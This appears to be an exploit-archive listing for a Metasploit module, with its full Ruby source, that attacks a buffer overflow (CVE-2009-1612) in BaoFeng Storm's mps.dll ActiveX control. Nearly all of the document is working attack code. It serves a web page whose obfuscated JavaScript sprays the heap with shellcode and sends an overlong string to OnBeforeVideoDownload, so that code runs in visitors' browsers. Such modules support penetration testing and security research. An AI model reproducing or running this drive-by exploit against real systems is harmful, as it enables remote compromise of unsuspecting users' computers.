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BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow

BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow
Posted Mar 3, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX control. Versions of mps.dll including 3.9.4.27 and lower are affected. When passing an overly long string to the method "OnBeforeVideoDownload" an attacker can execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
advisories | CVE-2009-1612
SHA-256 | 95ff9a57dc2d4014a3f0da453c07931f721900ab235ae3a9985a5dcf89bff4dc

BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow

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##
# $Id: baofeng_storm_onbeforevideodownload.rb 8685 2010-03-02 02:26:55Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX
control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing
an overly long string to the method "OnBeforeVideoDownload" an attacker can execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8685 $',
'References' =>
[
[ 'CVE', '2009-1612' ],
[ 'OSVDB', '54169' ],
[ 'BID', '34789' ],
[ 'URL', 'http://www.exploit-db.com/exploits/8579' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# untested, please contribute the vulnerable software if possible.
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Apr 30 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# ActiveX parameters
clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
progid = "MPS.StormPlayer.1"

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Prepare the heap spray parameters
spray_addr = 0x0c0c0c0c
spray_num = "0x%x" % spray_addr
spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%')

# Generate the final javascript
js = %Q|
try {
var vulnerable = new ActiveXObject('#{progid}');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var evil_string = '';
while (evil_string.length < 4150)
evil_string += my_unescape('#{spray_str}');
vulnerable.OnBeforeVideoDownload(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|

# Obfuscate the javascript
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => %w{ vulnerable shellcode my_unescape index evil_string }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()

# Generate the final HTML
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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